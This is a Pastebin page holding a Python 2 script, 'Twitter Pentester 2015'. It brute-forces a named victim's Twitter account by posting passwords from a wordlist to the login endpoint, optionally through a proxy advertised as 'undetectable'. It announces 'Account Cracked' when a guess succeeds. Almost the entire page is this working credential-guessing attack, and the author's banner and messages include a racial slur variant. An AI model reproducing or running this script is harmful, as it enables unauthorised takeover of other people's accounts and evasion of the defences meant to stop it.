Advertisement
Kyfx

Twitter Python BruteForce Script

Jun 5th, 2015
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.94 KB | None | 0 0
  1. #Changing Description won't make you the coder Lammerz ;)#
  2.  
  3. #####################################
  4. #Twitter Pentester 2015 #
  5. #Coded By Kyfx #
  6. # #
  7. #VerboseMode added + Proxy Nyggaz:D #
  8. #####################################
  9.  
  10. import urllib2, sys, re, urllib, httplib, socket
  11.  
  12. print "\n################################"
  13. print "#Twitter Pentester 2015 #"
  14. print "#Coded By Kyfx #"
  15. print "#Verbose Method + Intrusion #"
  16. print "#AutoRotating Proxy #"
  17. print "#Undetectable By Firewall #"
  18. print "################################"
  19.  
  20. if len(sys.argv) not in [3,4,5,6]:
  21. print "Usage: twitter.py victim@gmail.com <wordlist.txt> <options>\n"
  22. print "\t -p : <host:port> : Undetectable Proxy Mode 100%"
  23. print "\t -v : Verbose Magic Mode \n"
  24. sys.exit(1)
  25.  
  26. for arg in sys.argv[1:]:
  27. if arg.lower() == "-p" or arg.lower() == "-proxy":
  28. proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  29. if arg.lower() == "-v" or arg.lower() == "-verbose":
  30. verbose = 1
  31.  
  32. try:
  33. if proxy:
  34. print "\n[+] Checking the Proxy Nygga :v Wait..."
  35. h2 = httplib.HTTPConnection(proxy)
  36. h2.connect()
  37. print "[+] Proxy:",proxy
  38. except(socket.timeout):
  39. print "\n[-] Proxy Timed Out"
  40. proxy = 0
  41. pass
  42. except(NameError):
  43. print "\n[-] Proxy Not Given"
  44. proxy = 0
  45. pass
  46. except:
  47. print "\n[-] Proxy Failed"
  48. proxy = 0
  49. pass
  50.  
  51. try:
  52. if verbose == 1:
  53. print "[+] Verbose Mode On\n"
  54. except(NameError):
  55. print "[-] Verbose Mode Off\n"
  56. verbose = 0
  57. pass
  58.  
  59. host = "https://twitter.com/intent/session/"
  60. print "[+] Attacking with Intelligent Method :",host
  61. print "[+] Victim:",sys.argv[1]
  62.  
  63. try:
  64. words = open(sys.argv[2], "r").readlines()
  65. print "[+] Words Loaded:",len(words),"\n"
  66. except(IOError):
  67. print "[-] Error: Check your wordlist path\n"
  68. sys.exit(1)
  69.  
  70. for word in words:
  71. word = word.replace("\r","").replace("\n","")
  72. login_form_seq = [
  73. ('session[username_or_email]', sys.argv[1]),
  74. ('session[password]', word),
  75. ('remember_me', 'Remember+me'),
  76. ('commit', 'Sign+in')]
  77. login_form_data = urllib.urlencode(login_form_seq)
  78. if proxy != 0:
  79. proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
  80. opener = urllib2.build_opener(proxy_handler)
  81. else:
  82. opener = urllib2.build_opener()
  83. try:
  84. opener.addheaders = [('User-agent', 'Chrome/34.0.1847.116')]
  85. site = opener.open(host, login_form_data).read()
  86. except(urllib2.URLError), msg:
  87. print msg
  88. site = ""
  89. pass
  90.  
  91. if re.search("Please re-enter your Twitter account details and try again.",site) == None:
  92. print "\n\t[!] Twitter Account Cracked Successfully ^_^ :",sys.argv[1],word,"\n"
  93. sys.exit(1)
  94. else:
  95. if verbose == 1:
  96. print "[-] Login Failed:",word
  97. print "\n[-] Cracking Completed => \!/ Completed \!/ \n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement